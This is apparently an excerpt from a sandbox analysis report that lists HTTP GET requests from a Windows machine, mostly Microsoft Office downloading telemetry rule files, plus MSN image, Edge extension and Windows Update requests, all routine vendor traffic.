Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732401391&P2=404&P3=2&P4=gvNeRPzCyqa66v0tnp4yaqFiPscjzCkUkd1i8GGbZZPtENNX6HPnOfnGpnAQFijhcpJ2xqhUBC6cqdDUAWlZjA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: NyaL7CThSyLMpLCE6jtE8gSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RG6Nd1aE82NTwYU&MD=69fRbgRy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
